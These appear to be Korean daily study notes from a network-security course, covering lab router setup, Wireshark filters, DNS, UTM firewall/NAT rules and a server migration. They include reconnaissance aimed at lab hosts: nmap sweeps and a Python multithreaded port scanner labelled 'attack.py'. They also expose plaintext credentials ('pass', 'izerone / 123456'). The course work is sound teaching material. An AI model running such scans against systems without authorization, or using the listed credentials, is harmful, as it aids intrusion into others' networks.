ssh 192.168.0.205
문제가 없으면 정상적으로 XShell에서 VM으로 접속이 된다.
패키지 설치
이제 VM에 다 설치 해주자
sudo apt update
sudo apt -y install vsftpd
sudo apt -y install openssh-server
sudo apt -y install inetutils-telnetd
#sudo apt -y install postfix
sudo apt -y install sendmail (postfix와 중복 설치가 안되서 sendmail을 사용할 예정)
sudo apt -y install dovecot-pop3d
sudo apt -y install dovecot-imapd
sudo apt -y install samba
sudo apt -y install nfs-kernel-server
sudo apt -y install bind9 bind9utils (DNS 중요도 별5개)
sudo apt -y install lamp-server^ (linux apache mysql php)
sudo apt -y install roundcube
sudo apt -y install isc-dhcp-server
sudo apt -y install squid
sudo apt -y install isc-dhcp-server tftpd-hpa inetutils-inetd vsftpd pxelinux
#zabbix
sudo apt -y install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
wget https://repo.zabbix.com/zabbix/7.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_7.0-1+ubuntu24.04_all.deb
sudo dpkg -i zabbix-release_7.0-1+ubuntu24.04_all.deb
sudo apt update
sudo apt -y install zabbix-agent2
#ELK7
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install packetbeat
sudo apt install net-tools
일단 여기 까지만 설치
sudo apt -y install apache (lamp에 포함됨)
sudo apt -y install nginx
sudo apt -y install mariadb-server (lamp에 포함됨)
sudo apt -y install xrdp
#ELK8
wget -O - https://artifacts.elastic.co/GPG-KEY-elasticsearch | gpg --dearmor -o /etc/apt/keyrings/elasticsearch-keyring.gpg
echo "deb [signed-by=/etc/apt/keyrings/elasticsearch-keyring.gpg] https://artifacts.elastic.co/packages/8.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-8.x.list
apt update
sudo apt -y install packetbeat
netstat -anttcp6 0 0 :::445 :::* LISTEN tcp6 0 0 :::139 :::* LISTEN tcp6 0 0 :::143 :::* LISTEN tcp6 0 0 ::1:6010 :::* LISTEN tcp6 0 0 :::21 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::2049 :::* LISTEN tcp6 0 0 :::3128 :::* LISTEN tcp6 0 0 ::1:953 :::* LISTEN tcp6 0 0 :::47199 :::* LISTEN tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 fe80::a00:27ff:fe50::53 :::* LISTEN tcp6 0 0 fd17:625c:f037:2:a00:53 :::* LISTEN tcp6 0 0 :::110 :::* LISTEN tcp6 0 0 :::111 :::* LISTEN tcp6 0 0 :::40873 :::* LISTEN tcp6 0 0 ::1:53 :::* LISTEN tcp6 0 0 :::993 :::* LISTEN tcp6 0 0 :::995 :::* LISTEN tcp6 0 0 :::10050 :::* LISTEN tcp6 0 0 :::40599 :::* LISTEN tcp6 0 0 :::50911 :::* LISTEN tcp6 0 0 :::43639 :::* LISTEN
설치가 완료되면 스냅샷 찍기
step1 설치 완료
GNS로 네트워크 구성
VM세팅이 완료됬으면 GNS로 이동
사진 참조해서 연결
PC2, Switch, Router2 켜기
show ip
NAME : PC2[1]
IP/MASK : 0.0.0.0/0
GATEWAY : 0.0.0.0
DNS :
IP : 125.246.95.1/24
S/M : 255.255.255.0
G/W : 125.246.95.254
DNS : 168.126.63.1
이대로 넣어줄 예정
ip 125.246.95.1 255.255.255.0 125.246.95.254
다시 show ip
NAME : PC2[1]
IP/MASK : 125.246.95.1/24
GATEWAY : 125.246.95.254
DNS :
save
ip가 들어갔으면 다시 ping을 때려보자
ping 125.246.95.254
host (125.246.95.254) not reachable
반응이 없으니까 네트워크가 죽어있다는 뜻이다
Ubuntu24.04 VM 추가
Edit > Network에서 Allow Adapter 무조건 체크
가져와서 Switch 쪽에 추가
서버에 ip 설정
IP : 125.246.95.152/24
S/M :255.255.255.0
G/W :125.246.95.254
DNS :168.126.63.1
다시 ping 보내보기
서버와 PC2가 ping으로 연결되었다면 성공
PC1과 PC3도 IP설정 해주기
PC1
IP : 100.100.100.1/24
S/M :255.255.255.0
G/W :100.100.100.254
DNS :168.126.63.1
PC3
IP : 168.126.63.1/24
S/M :255.255.255.0
G/W :168.126.63.254
DNS :168.126.63.1
ip를 넣어줬으면 Router의 선을 전부 연결
1/0 - 1/1로 3개 전부 연결
R2의 Gateway (입구) 먼저 세팅
#R2 conf t hostname JJCOM exit show ip interface interface를 확인해보면 5개의 interface가 보임 FastEthernet0/0 : 125.246.95.254 로 만들어줄 예정 config t interface fastethernet 0/0 ip address 125.246.95.254 255.255.255.0 no shutdown (해주지 않으면 장비가 안켜짐) exit int se 1/1 ip addr 1.1.1.2 255.255.255.252 no shutdown exit int se 1/0 ip addr 2.2.2.1 255.255.255.252 no shutdown ip route 100.100.100.0 255.255.255.0 1.1.1.1 ip route 168.126.63.0 255.255.255.0 2.2.2.2 #R1 conf t hostname HACKER exit show ip interface config t interface fastethernet 0/0 ip address 100.100.100.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 1.1.1.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 3.3.3.2 255.255.255.252 no shutdown ip route 125.246.95.0 255.255.255.0 1.1.1.2 ip route 168.126.63.0 255.255.255.0 3.3.3.1 #R3 conf t hostname DNS exit show ip interface config t interface fastethernet 0/0 ip address 168.126.63.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 3.3.3.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 2.2.2.2 255.255.255.252 no shutdown ip route 100.100.100.0 255.255.255.0 3.3.3.2 ip route 125.246.95.0 255.255.255.0 2.2.2.1
와이어샤크를 이용한 패킷 확인
와이어샤크 필터링 방법(계속 추가 예정)
icmp
icmp.type == 8
icmp.type == 0
icmp.type == 3
icmp.type == 11
icmp.type == 5
icmp && ip.addr == 100.100.100.1
icmp.type == 8 && ip.src == 100.100.100.1
icmp.type == 8 && ip.dst == 8.8.8.8
ip.addr == 100.100.100.1
ip.addr != 100.100.100.1
ip.src == 100.100.100.1
ip.dst = 125.246.95.1
tcp.port == 80
tcp.srcport == (0 ~ 65535번 중에 하나)
tcp.dstport ==
tcp.flags.ack == 1
tcp.flags.fin == 1
tcp.flags.reset == 1
tcp.flags.push == 1
tcp.flags.urg == 1
tcp.flags.syn == 1 && tcp.flags.ack == 0
dns
dns.flags.response == 0
dns.flags.response == 1
dns.qry.name == "jeonjucom.kr"
http
http.request.method == "GET"
http.request.method == "POST"
http.host == "example.com"
http.request.uri contains "login"
http.user_agent
http.cookie
해커 입장 : victim.izerone.co.kr
ping victim.izerone.co.kr
121.154.49.109
nslookup victim.izerone.co.kr
121.154.49.109
tracert victim.izerone.co.kr1 <1 ms <1 ms <1 ms 192.168.0.1 2 <1 ms <1 ms <1 ms 192.168.219.1 3 * * * 요청 시간이 만료되었습니다. 4 1 ms 1 ms 2 ms 10.245.133.185 5 3 ms 2 ms 1 ms 100.117.12.25 6 7 ms 7 ms 6 ms 100.117.10.1 7 6 ms 5 ms 5 ms 210.107.126.90 8 7 ms 7 ms 7 ms 128.134.10.101 9 * * * 요청 시간이 만료되었습니다. 10 9 ms 14 ms 16 ms 112.174.58.102 11 10 ms 9 ms 10 ms 112.189.225.146 12 11 ms 11 ms 10 ms 112.189.236.150 13 12 ms 11 ms 11 ms 121.154.49.109
pathping
이렇게 여러가지를 때렸을때 어떤식으로 패킷이 움직이는지 확인해보자
이것이 네트워크 포랜식이다
R2와 ESW 사이에 지나가는 패킷을 캡쳐해보자
PC1에서 서버로 ping을 보내보자
ping 125.246.95.152 -c 4
패킷 트레이서에서 확인해 보면 ICMP가 뜨는걸 볼 수 있다
icmp.type==8은 request 라는 뜻이다
파일을 저장해주자
icmp.pcap , whireshark tcp_dump
패킷 분석하는 프로그램을 만들어보자
프로그램들을 만둘어두면 온라인에서 분석할 수 있도록 하려고 한다
Django or Flask를 활용해서
trace 125.246.95.152
패킷을 확인해 보니 UDP와 ICMP가 보이더라
서버에서 직접 확인
ping은 WireShark로만 확인할 수 있을까?
서버 안에서도 바로 볼 수 있다
sudo tcpdump icmp
활성화 해주고 PC1에서 VM서버로 ping을 때려주면?
서버에서도 ping을 확인할 수 있다
GNS에 HACKER 연결
kali-linux-2026.1-virtualbox-amd64.7z 압축 풀기
머신 > open
열렸으면 VM이름을 HACKER로 변경
VM을 키고 ip 세팅 100.100.10.1 24 100.100.100.254
NAT 으로 네트워크 설정
sudo apt update
sudo apt upgrade
한글패치
sudo dpkg-reconfigure locales
ko_KR.UTF-8 UTF-8
en_US.UTF-8 UTF-8
sudo apt install fonts-nanum fonts-nanum-coding fonts-unfonts-core -y
sudo apt install fonts-noto-cjk -y
sudo apt install ibus ibus-hangul -y
Super + Space
2026-07-01
네트워크의 이해와 구성
›
네트워크의 이해
ip란? 숫자로 구성된 주소
약 43억개
A Class : 0000 0000 (0)
사설 10.0.0.0 ~ 10.255.255.255
S/M 255.0.0.0
B Class : 1000 0000 (128)
사설 172.16.0.0 ~ 172.31.255.255
S/M 255.255.0.0
C Class : 1100 0000 (192)
사설 192.168.0.0 ~ 192.168.255.255
S/M 255.255.255.0
D Class : 1110 0000 (224)
첫번째 번호는 네트워크 마지막 번호는 브로드캐스트가 가지고 있기 떄문에 사용하지 못함
게이트웨이란?
항구다
192.168.0.1 ~ 192.168.0.254
도메인이란?
문자로 된 주소를 IP로 변경함
네트워크 망 구축하기
http://boanin.jeonjucom.kr/st/gisu6 에 나와있는 데로 망을 구축하자
kali : 200.200.200.1
PC1 : 168.126.63.1
PC2 : 125.242.95.1
Server : 125.242.95.2R1 config t interface fastethernet 0/0 ip address 200.200.200.126 255.255.255.128 no shutdown exit int se 1/0 ip addr 1.1.1.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 2.2.2.2 255.255.255.248 no shutdown ip route 125.242.95.0 255.255.255.0 1.1.1.2 ip route 168.126.63.0 255.255.255.0 2.2.2.1 R2 config t interface fastethernet 0/0 ip address 125.242.95.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 3.3.3.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 1.1.1.2 255.255.255.248 no shutdown ip route 200.200.200.0 255.255.255.128 1.1.1.1 ip route 168.126.63.0 255.255.255.0 3.3.3.2 R3 config t interface fastethernet 0/0 ip address 168.126.63.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 2.2.2.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 3.3.3.2 255.255.255.248 no shutdown ip route 200.200.200.0 255.255.255.128 3.3.3.1 ip route 125.242.95.0 255.255.255.0 2.2.2.2
kali에서 ping으로 확인해보기
ping 125.242.95.2
ping 168.126.63.1
구성한 네트워크를 이용해 공격하자
네트워크 망 구축이 완료되면 칼리에서 공격하자!
어느 ip가 활성화 되어있는지 확인해보자
nmap -sn 125.242.95.0/24
port도 한번 확인해보자
nmap -p 21,22,23,25,53,80,110,143,443,45,3306,3389 125.242.95.2
공격 위치를 알았다 서버로 ftp접속을 시도해보자
ftp 125.242.95.2
Connected to 125.242.95.2.
220 (vsFTPd 3.0.5)
Name (125.242.95.2:kali):
ftp로 접속이 된다
서버에서 ftp를 차단해보자
먼저 ftp로 접속한걸 확인해보자
sudo tail -f /var/log/vsftpd.log
ftp로 접속을 시도했다면 로그에 고스란히 찍혀있는것을 볼 수 있다
차단!!!!
sudo ufw deny from 200.200.200.1 to any port 21 proto tcp
sudo ufw enable
방화벽에 kali의 ip를 차단해주면?
ftp: Can't connect to '125.242.95.2:21': Connection timed out
ftp: Can't connect to '125.242.95.2:ftp'
kali에서 더이상 ftp로 접속을 할 수 없다
kali에서 py파일 만들어서 공격 시도하기
공유폴더 설정하기
장치 network설정을 NAT으로 맞춰주고 설치 시작
sudo apt install -y build-essential dkms linux-headers-$(uname -r)
설치되면 장치 > 게스트 확장 이미지 삽입
sudo mount /dev/cdrom /mnt
cd /mnt
sudo ./VBoxLinuxAdditions.run
sudo reboot
장치 > 공유폴더설정 > 추가 > 경로 > 자동마운트 체크
cd /media
ls
확인해보면 메인 PC와 폴더가 연결된 것을 확인할 수 있다
Server를 공격할 수 있는
attack.py를 생성해주자import socket import threading TARGET_IP = "125.242.95.2" START_PORT = 0 END_PORT = 65535 TIMEOUT = 1 MAX_THREADS = 200 open_ports = [] lock = threading.Lock() def scan_port(port: int) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) try: result = sock.connect_ex((TARGET_IP, port)) if result == 0: with lock: open_ports.append(port) except Exception: pass finally: sock.close() def main() -> None: print(f"Scanning target: {TARGET_IP}") print("=" * 40) ports = list(range(START_PORT, END_PORT + 1)) total_ports = len(ports) scanned = 0 for i in range(0, total_ports, MAX_THREADS): batch = ports[i:i + MAX_THREADS] threads = [] for port in batch: thread = threading.Thread(target=scan_port, args=(port,), daemon=True) thread.start() threads.append(thread) for thread in threads: thread.join() scanned += len(batch) progress = (scanned / total_ports) * 100 print(f"[Progress] {scanned}/{total_ports} ({progress:.1f}%)") print("=" * 40) if open_ports: print("Open ports:") for port in sorted(open_ports): print(f"- {port}") else: print("No open ports found.") print("Scan completed.") if __name__ == "__main__": main()
오늘 한 일 :
GNS를 이용해서 네트워크 구성하기
kali를 이용해서 server 포트스캔 하기
내일 할 일 :
UTM을 추가해서 내트워크 강화하기
2026-07-02
라우팅과 DNS서버
›
정적 라우팅
새로운 네트워크를 구성해보자
PC1 : 10.10.10.1
PC2 : 20.20.20.1
PC3 : 30.30.30.1
PC4 : 40.40.40.1
#인터페이스 설정R1 config t interface fastethernet 0/0 ip address 10.10.10.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 1.1.1.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 4.4.4.2 255.255.255.252 no shutdown #라우팅을 제대로 해줘야 한다 (정적 라우팅) ip route 20.20.20.0 255.255.255.0 1.1.1.2 ip route 40.40.40.0 255.255.255.0 4.4.4.1 ip route 30.30.30.0 255.255.255.0 1.1.1.2 ip route 30.30.30.0 255.255.255.0 4.4.4.1 R2 config t interface fastethernet 0/0 ip address 20.20.20.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 2.2.2.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 1.1.1.2 255.255.255.252 no shutdown ip route 10.10.10.0 255.255.255.0 1.1.1.1 ip route 30.30.30.0 255.255.255.0 2.2.2.2 ip route 40.40.40.0 255.255.255.0 1.1.1.1 ip route 40.40.40.0 255.255.255.0 2.2.2.2 R3 config t interface fastethernet 0/0 ip address 30.30.30.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 3.3.3.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 2.2.2.2 255.255.255.252 no shutdown ip route 20.20.20.0 255.255.255.0 2.2.2.1 ip route 40.40.40.0 255.255.255.0 3.3.3.2 ip route 10.10.10.0 255.255.255.0 2.2.2.1 ip route 10.10.10.0 255.255.255.0 3.3.3.2 R4 config t interface fastethernet 0/0 ip address 40.40.40.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 4.4.4.1 255.255.255.252 no shutdown exit int se 1/1 ip addr 3.3.3.2 255.255.255.252 no shutdown ip route 10.10.10.0 255.255.255.0 4.4.4.2 ip route 30.30.30.0 255.255.255.0 3.3.3.1 ip route 20.20.20.0 255.255.255.0 4.4.4.2 ip route 20.20.20.0 255.255.255.0 3.3.3.1
정적 라우팅 도저히 못해먹겠다
어떻게 ip를 다 넣어주냐?
똑똑하게 자동으로 가도록 동적 라우팅을 해보자
바꾸는 방법에는 2가지 방법이 있다
RIP
먼저 RIP를 알아보자
#인터페이스 설정#R1 conf t router rip virsion 2 no auto-summary network 10.0.0.0 network 4.0.0.0 network 1.0.0.0 #R2 conf t router rip virsion 2 no auto-summary network 20.0.0.0 network 1.0.0.0 network 2.0.0.0 #R3 conf t router rip virsion 2 no auto-summary network 30.0.0.0 network 2.0.0.0 network 3.0.0.0 #R4 conf t router rip virsion 2 no auto-summary network 40.0.0.0 network 3.0.0.0 network 4.0.0.0
rip 방식은 16개 이상을 찾지 못한다
즉 실무에서는 사용하지 않음
특징
최대 hop수 : 15 hop
업데이트 방식 : 30초마다 전체 라우팅 테이블 전송
패킷을 보면 224.0.0.9가 보인다
1.1.1.1은 라우터의 Serial 1/0인데 224.0.0.9는 뭘까?
멀티캐스트 주소다
OSPF
OSPF 방식
특징
최대 hop수 : 제한 없음
업데이트 방식 : 변경된 정보만 전송
라우터를 OSPF 방식으로 바꿔보자
#인터페이스 설정#R1 no router rip conf t router ospf 1 router-id 1.1.1.1 network 10.10.10.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0 network 4.4.4.0 0.0.0.3 area 0 #R2 no router rip conf t router ospf 1 router-id 2.2.2.2 network 20.20.20.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0 network 2.2.2.0 0.0.0.3 area 0 #R3 no router rip conf t router ospf 1 router-id 3.3.3.3 network 30.30.30.0 0.0.0.255 area 0 network 2.2.2.0 0.0.0.3 area 0 network 3.3.3.0 0.0.0.3 area 0 #R4 no router rip conf t router ospf 1 router-id 4.4.4.4 network 40.40.40.0 0.0.0.255 area 0 network 3.3.3.0 0.0.0.3 area 0 network 4.4.4.0 0.0.0.3 area 0
앞에는 ip 대역대 인데 뒤에 0.0.0.255는 뭐냐?
와일드 마스크다
그게 뭔데?
서브넷 마스크를 반대로 적어둔것
255.255.255.0 - 0.0.0.255
255.255.255.252 - 0.0.0.3
이런식으로 서브넷 마스크와 합쳐서 255.255.255.255가 나오면 된다
와일드 마스크를 왜 써야하는데?
서브넷 마스크: 이 네트워크의 크기가 얼마인가?를 정의할 때 사용
와일드카드 마스크: 내가 원하는 특정 조건의 IP들만 쏙쏙 골라내려면(필터링) 어떤 비트를 검사해야 하는가?를 정의할 때 사용
패킷을 확인해보면 224.0.0.5가 보이는데 이 또한 멀티 캐스트 주소다
OSPF는 Hello Packet을 교환한다
네트워크 세팅 변경
미션!
어제 구축한 망 (20260701002.GNS)을 OSPF로 바꿔보자!
#라우팅 삭제
config t
no ip route 125.242.95.0 255.255.255.0 1.1.1.2
no ip route 168.126.63.0 255.255.255.0 2.2.2.1
#초기화
erase startup-config
reload
#저장
copy r s
wr
#인터페이스 설정#R1 config t interface fastethernet 0/0 ip address 200.200.200.126 255.255.255.128 no shutdown exit int se 1/0 ip addr 1.1.1.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 2.2.2.2 255.255.255.248 no shutdown end conf t router ospf 1 router-id 1.1.1.1 network 200.200.200.0 0.0.0.127 area 0 network 1.1.1.0 0.0.0.7 area 0 network 2.2.2.0 0.0.0.7 area 0 #R2 config t interface fastethernet 0/0 ip address 125.242.95.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 3.3.3.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 1.1.1.2 255.255.255.248 no shutdown end conf t router ospf 1 router-id 2.2.2.2 network 125.242.95.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.7 area 0 network 3.3.3.0 0.0.0.7 area 0 #R3 config t interface fastethernet 0/0 ip address 168.126.63.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 2.2.2.1 255.255.255.248 no shutdown exit int se 1/1 ip addr 3.3.3.2 255.255.255.248 no shutdown end conf t router ospf 1 router-id 3.3.3.3 network 168.126.63.0 0.0.0.255 area 0 network 2.2.2.0 0.0.0.7 area 0 network 3.3.3.0 0.0.0.7 area 0
Router에서 IP 차단
네트워크 망 구축이 완료되었으면 공격을 해보자
nmap -sn 125.242.95.0/24
nmap -p 22,23 125.242.95.254
나는 R2에서 23번 포트를 열어준 적이 없는데 포트가 열러있는걸로 스캔이 된다
왜 반응을 하는걸까?
라우터를 확인해보니
line vty 0 4
login
으로 표시가 되어있다
이거 때문에 반응을 한것
125.242.95.2의 웹으로 들어가보면 웹이 들어가진다
라우터에서 내가 허용한 ip만 허용하고 싶다
그걸 가능하게 해주는게 ACL(access list)
R2에서 200.200.200.1을 차단해보자
config t
access-list 10 deny 200.200.200.1 0.0.0.0
access-list 10 permit any
interface se 1/1
ip access-group 10 in
end
kali에서 다시 로딩해보면?
웹에서 접속이 막힌다
지우려면 no만 붙혀주면 된다
conf t
interface se 1/1
no ip access-group 10 in
end
DNS 서버 구축하기
미션!
nslookup을 이용해 DNS조회하기
DNS : 125.242.95.2로 변경
mslookup victim.kr
반응이 없다 왜 그럴까?
125.242.95.2는 victim.kr을 모르기 때문
서버를 DNS서버로 만들어주자
nano /etc/bind/named.conf.options
dnssec-validatation no;
recursion yes;
allow-query { any; };
sudo systemctl restart named
sudo nano /etc/bind/named.conf.default-zoneszone "victim.kr" { type master; file "/etc/bind/victim.kr.zone"; };
sudo cp db.local victim.kr.zone
sudo systemctl start named
ip는 어디서 알려주는가?
$TTL
@
;
@ IN NS localhost.
@ IN A 127.0.0.1
@ IN AAAA ::1
127.0.0.1은 뭔데?
자기 자신을 가리키는 IP다
@ IN NS ns.victim.kr. #절대 맨 마지막 .을 빼면 안된다
@ IN A 125.242.95.2
@ IN AAAA ::1
ns IN A 125.242.95.2
www IN A 125.242.95.2
* IN A 125.242.95.2
kali에 이메일 프로그램 설치하기
sudo apt update
sudo apt -y install mailutils
sudo apt -y install postfix
sudo apt -y install evolution
sudo apt -y install thunderbird
오늘 한 일
정적라우팅과 동적라우팅의 이해
Router에서 IP 막기
DNS 서버 구축하기
내일 할 일
방화벽 설치
2026-07-03
UTM 방화벽과 규칙설정
›
네트워크 구성
방화벽 설치하기
GNS 새 프로젝트 생성
20260703005.gns
UTM에 대해 알아볼 예정
방화벽은 어디에 깔아야하는데?
라우터가 들어오는 곳과 가장 가까운곳
VBox에 UTM 설치
Other Linux선택
용량은 무조건 10G 이상
네트워크 설정 > 어댑터
1번은 호스트 전용 어댑터로 설정
1번(eth0) 어댑터는 관리자 네트워크
나머지 2, 3, 4번 어댑터는 활성화만 시켜주기
ip는 반드시 192.168.56.100으로 설정
설치가 완료되면 GNS에 불러오기
네트워크에서 어댑터 4개 설정
GNS에서 불러오면 장치가 일반 드라이버로 되어있는데 호스트 전용 어댑터로 교채 해줘야함
UTM 접속은 웹으로 할 것
방화벽 정책
https://192.168.56.100:4444
VICTIM
master@victim.kr
later 체크
나머진 다 next
mangement
webadminsetting
korean
apply
NAT
NAT = 공인 ip를 사설 ip로 바꿔주는 기술
UTM9 에서 인터페이스 설정
새 인터페이스
Inside
Eth3
192.168.0.254/24
네트워크 서비스> DHCP > 새 DHCP서버
192.168.0.1 ~ 253
DNS : 172.16.0.1
인터페이스에서 Inside를 작동으로 변경
PC1에서 dhcp를 입력하면
자동으로 IP를 받아온다
새 인터페이스
DMZ
Eth2
172.168.0.254/24
설정을 완료해주면 ping을 때려보자
PC1(192.168.0.1) > PC3(192.168.0.2)
PC1(192.168.0.1) > Gateway(192.168.0.254)
PC2(172.16.0.1) > Gateway(172.16.0.254)
미션
192.168.0.1 또는 192.168.0.2
에서 172.16.0.1 로 연결이 되는지 확인하고 연결이 안되면 왜 안되는지 생각해보자
방화벽이나 UTM은 태생적으로 막으려고 나온 애들이다
연결을 해줘야 한다
네트워크 보호에 보면 방화벽이 있는데 정책이라고 보면 된다
새 규칙 > 원본에 inside (network) 추가
서비스에 Any
대상에 DMZ (network)
저장 후 활성화
다시 ping을 172.16.0.1로 보내보면 ping이 정상적으로 보내진다
마스커레이딩
Outside를 설정할때는 기본 게이트웨이(Router)를 지정해 줘야함
그래야 패킷이 밖(Router)으로 나갈 수 있기 빼문
InsideToOutside와 OutsideToDMZ 를 설정해주고
PC1에서 Router로 핑을 보내주면 핑이 돌아오지 않는다
Router는 받은 핑을 어디로 보내야하는지 모르기 때문
InsideToOutside설정
나올때는 사설IP로 나오는데 Router는 사설 IP를 어디로 보내야 하는지 모른다
R1 conf t int fa 0/0 ip address 125.242.95.254 255.255.255.0 no shut end conf t router ospf 1 router-id 1.1.1.1 network 125.242.95.0 0.0.0.255 area 0
사설IP를 공인IP로 바꿔서 내보내자
이 기술이 마스커레이딩이다
새 마스커레이딩 규칙
네트워크 : Inside(network)
인터페이스 : Outside
OutsideToDMZ
Router에서 서버로 갈 때는 Port를 보고 들어오기 때문에
포트포워딩을 해줘야 한다
네트워크 라우터 설정 #R1 conf t int fa 0/0 ip address 125.242.95.254 255.255.255.0 no shut exit int se 1/0 ip addr 1.1.1.1 255.255.255.252 no shutdown end conf t router ospf 1 router-id 1.1.1.1 network 125.242.95.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0 #R2 conf t int fa 0/0 ip address 200.200.200.254 255.255.255.0 no shut exit int se 1/1 ip addr 1.1.1.2 255.255.255.252 no shutdown end conf t router ospf 1 router-id 2.2.2.2 network 200.200.200.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0
HACKER에서 nslookup으로 조회해보자
nslookup victim.kr
;; communications error to 125.242.95.2#53: timed out
;; no servers could be reached
도메인을 찾지 못한다
UTM에 주소가 없다
먼저 MainServer를 만들어 주자
정의 및 사용자 > 네트워크 정의 > 새 네트워크 정의
이름 : Mainserver
유형 : 호스트
주소 : 172.16.0.2
네트워크보호 > NAT > NAT
새 NAT 규칙
AnyToDMZ_DNS
출발지 : Any
서비스 : DNS
목적지 : Outside Addr
다음으로 변경 : MainServer
서비스 : DNS
바꿔주고 설정 켜준 후 서버 방화벽 내려주기
다시 nslookup victim.kr을 해주면?
Server: 125.242.95.2
Address: 125.242.95.2#53
Name: victim.kr
Address: 125.242.95.2
Name: victim.kr
Address: ::1
21(FTP),25(SMTP),80(HTTP),110(POP3),143(IMAP)번 포트도 열어주자
NAT 규칙을 왕창 추가해주면 된다
오늘 한 일
방화벽 설치
NAT 규칙 설정과 이해
마스커레이딩 규칙 설정과 이해
내일 할 일
개인 서버 이전
2026-07-04
서버 이전과 로그인 기능 추가
›
개인서버에서 단체서버로 이전하기
오늘은 서버 이전 작업을 할 예정
FTP에 추가{ "name": "yoonmashi.kr", "host": "192.168.0.174", "port": 21, "type": "ftp", "username": "yoonmashi", "password": "pass", "path": "/home/yoonmashi/public_html/ci4", "autosave": true, "confirm": true },
이렇게만 입력해주면 FTP접속이 되지 않는다
리스트에 이름을 등록 안해놨기 때문
교수님이 리스트에 이름을 적어주면?
FTP로 접속이 된다
웹에 yoonmashi.kr을 입력해주면?
아파치 기본 페이지가 뜬다
http://192.168.0.174/~yoonmashi/ci4/ 경로를 지정해서 찍어주면?
forbidden 페이지가 뜬다
권한을 바꿔주면 정상적으로 welcome_message가 보인다
Router.php와 home.php views에 note.php추가
MVC를 열심히 만져주면
192.168.0.20에서 보던 노트가 yoonmashi.kr에서도 보인다
백업 파일 생성및 자동화
ssh로 접속해서 백업 파일을 만들어주자
cd ~
nano backup.sh#!/bin/bash # ===== 설정 ===== SOURCE_DIR="/home/yoonmashi/public_html" # 백업할 디렉터리 BACKUP_DIR="/home/yoonmashi/backup" # 백업 저장 위치 (기존 yoonmashi 경로 대신 변수 처리) RETENTION_DAYS=30 # 보관 기간(일) # ===== 변수 ===== DATE=$(date +"%Y-%m-%d_%H-%M-%S") BACKUP_FILE="$BACKUP_DIR/backup_$DATE.tar.gz" # ===== 백업 디렉터리 생성 ===== mkdir -p "$BACKUP_DIR" # ===== [1단계] 로컬 백업 수행 ===== echo "[$(date)] 로컬 압축 백업 시작" tar -czf "$BACKUP_FILE" "$SOURCE_DIR" if [ $? -eq 0 ]; then echo "[$(date)] 로컬 백업 성공: $BACKUP_FILE" else echo "[$(date)] 로컬 백업 실패 (스크립트 종료)" exit 1 fi # ===== [2단계] 원격지 동기화 (rsync) ===== echo "[$(date)] 원격 서버 백업 전송 시작" # 변수를 활용하여 유연하게 경로를 매칭했습니다. ($BACKUP_DIR/ 뒤의 슬래시 유지) rsync -avz --exclude-from=/etc/rsync_exclude.lst "$BACKUP_DIR/" 192.168.0.94::ip174/yoonmashi/ if [ $? -eq 0 ]; then echo "[$(date)] 원격 서버 전송 완료" else echo "[$(date)] 원격 서버 전송 실패 (오래된 백업 정리 단계로 이동)" fi # ===== [3단계] 오래된 백업 삭제 ===== echo "[$(date)] 오래된 백업 파일 정리 시작" find "$BACKUP_DIR" -name "backup_*.tar.gz" -type f -mtime +$RETENTION_DAYS -delete echo "[$(date)] 오래된 백업 정리 완료" echo "[$(date)] 모든 작업 종료"
chmod 755 backup.sh
실행 해보면 원격 디렉토리의 ip174/yoonmashi.kr에 정상적으로 백업 파일이 업로드 된다
cron에 이미 등록해 뒀으니 다음에 와서 backup.sh가 잘 작동하는지 확인하면 된다
로그인 기능 추가
CI4에 로그인 기능 구현하기
먼저 174의 localDB와 연결 해둔다
Workbench를 이용해서 확인
Router.php와 Home.php, View밑에 login을 추가해준다
오늘 한 일
서버 이전 작업
로그인 기능 추가
내일 할 일
만들어둔 페이지 업그레이드
2026-07-06
Elastic을 이용한 패킷 확인과 Flask 기반 잡기
›
백업 확인
192.168.0.91 (외부 공개용)
http://jeonjucom.kr:8091
http://yoonmashi.kr:8091
izerone / 123456
2021 > backup > 본인폴더에서 백업 확인
로그 확인하기
상용 로그 관제에는 2가지가 있다
Splunk와 Elastic Search
로그가 쌓여있으니 그 로그를 가지고 분석을 해보자
홈페이지에서 로그분석기가 실행되도록 만들어보자
학원에 있으면 내부ip(192.168.0.11:8011)로 들어오고 외부에서 들어오면 도메인(yoonmashi:8011)로 들어오게 하고싶다
118은 로그서버 129는 ELK(엘라스틱서치(Elasticsearch) + 로그스태시(Logstash) + 키바나(Kibana))사이트
기존에 있던 로그분석와 129번의 차이가 뭐냐?
